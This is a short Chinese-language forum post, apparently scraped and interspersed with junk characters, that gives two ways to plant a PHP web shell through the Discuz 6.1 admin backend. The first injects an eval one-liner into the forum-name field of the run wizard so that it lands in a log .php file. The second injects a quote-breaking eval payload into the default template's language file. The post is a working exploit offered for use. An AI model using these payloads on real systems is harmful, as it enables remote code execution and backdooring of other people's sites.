discuz6.1后台拿shell方法

admin

discuz6.1两种方法后台拿shell
7 P: s& g1 b% J) h好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下
4 s4 l$ l0 Z6 O1:
http://127.0.0.1/discuz/admincp. ... zard&frames=yes
6 @1 b1 u" Q; F& P: ]+ V: s" \/ r) ^9 Vadmincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell
$ e+ B) s9 {& P# j! `2 E6 A9 [6 o<?php eval($_POST[cmd]);?>
后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php


+ g' N; X. z; n1 A  c+ v2:后台模板管理--默认模板套系--详情
3 l& U1 @$ B* r: ^$ `; Etemplates/default/actions.lang.php
" B( ]0 U4 m" r" [( S- Djhackj\\');eval($_POST[cmd])?>;//
) V. D( Y/ H: \' G: h4 L
8 R* T4 {) e- H$ n: ~利用很简单,聪明的人一看就懂了